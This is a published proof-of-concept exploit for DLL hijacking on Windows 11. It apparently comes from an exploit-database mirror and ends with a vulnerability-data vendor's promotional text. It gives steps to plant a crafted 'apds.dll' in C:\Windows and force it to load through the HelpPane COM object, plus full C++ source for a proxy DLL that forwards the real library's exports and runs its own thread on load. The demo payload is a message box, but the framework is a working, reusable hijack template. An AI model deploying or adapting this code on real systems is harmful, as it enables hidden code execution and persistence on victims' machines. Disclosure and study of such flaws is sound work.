#---------------------------------------------------------
# Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
# Date: 2023-09-01
# Author: Moein Shahabi
# Vendor: https://www.microsoft.com
# Version: Windows 11 Pro 10.0.22621
# Tested on: Windows 11_x64 [eng]
#---------------------------------------------------------
Description:
HelpPane object allows us to force Windows 11 to DLL hijacking
Instructions:
1. Compile dll
2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory
3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"
4. Boom DLL Hijacked!
------Code_Poc-------
#pragma once
#include <Windows.h>
// Function executed when the thread starts
extern "C" __declspec(dllexport)
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);
return 0;
}
PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {
#ifdef _WIN64
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
// Create some breathing room
baseAddress = baseAddress + optionalHeader->SizeOfImage;
for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {
PBYTE usuable = (PBYTE)VirtualAlloc(
offset,
size,
MEM_RESERVE | MEM_COMMIT,
protection);
if (usuable) {
ZeroMemory(usuable, size); // Not sure if this is required
return usuable;
}
}
#else
// x86 doesn't matter where we allocate
PBYTE usuable = (PBYTE)VirtualAlloc(
NULL,
size,
MEM_RESERVE | MEM_COMMIT,
protection);
if (usuable) {
ZeroMemory(usuable, size);
return usuable;
}
#endif
return 0;
}
BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)
{
#ifdef _WIN64
BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax
#else
BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax
#endif
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDirectory->Size == 0)
return FALSE; // Nothing to forward
PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);
if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)
return FALSE; // TODO: Add support for DLLs with mixed ordinals
dosHeader = (PIMAGE_DOS_HEADER)ourBase;
ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
optionalHeader = &ntHeaders->OptionalHeader;
exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDirectory->Size == 0)
return FALSE; // Our DLL is broken
PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);
// ----------------------------------
// Make current header data RW for redirections
DWORD oldProtect = 0;
if (!VirtualProtect(
ourExportDirectory,
64, PAGE_READWRITE,
&oldProtect)) {
return FALSE;
}
DWORD totalAllocationSize = 0;
// Add the size of jumps
totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));
// Add the size of function table
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);
// Add total size of names
PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)
totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;
// Add size of name table
totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);
// Add the size of ordinals:
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
// Allocate usuable memory for rebuilt export data
PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);
if (!exportData)
return FALSE;
PBYTE sideAllocation = exportData; // Used for VirtualProtect later
// Copy Function Table
PINT newFunctionTable = (PINT)exportData;
CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));
exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);
ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);
// Write JMPs and update RVAs in the new function table
PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);
for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {
newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);
CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));
exportData += sizeof(jmpPrefix);
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);
CopyMemory(exportData, &realAddress, sizeof(LPVOID));
exportData += sizeof(LPVOID);
CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));
exportData += sizeof(jmpSuffix);
}
// Copy Name RVA Table
PINT newNameTable = (PINT)exportData;
CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));
exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);
ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);
// Copy names and apply delta to all the RVAs in the new name table
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);
DWORD length = (DWORD)strlen((LPCSTR)realAddress);
CopyMemory(exportData, realAddress, length);
newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);
exportData += length + 1;
}
// Copy Ordinal Table
PINT newOrdinalTable = (PINT)exportData;
CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));
exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);
// Set our counts straight
ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;
ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;
if (!VirtualProtect(
ourExportDirectory,
64, oldProtect,
&oldProtect)) {
return FALSE;
}
if (!VirtualProtect(
sideAllocation,
totalAllocationSize,
PAGE_EXECUTE_READ,
&oldProtect)) {
return FALSE;
}
return TRUE;
}
// Executed when the DLL is loaded (traditionally or through reflective injection)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HMODULE realDLL;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");
if (realDLL)
ProxyExports(hModule, realDLL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
--------------------------Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation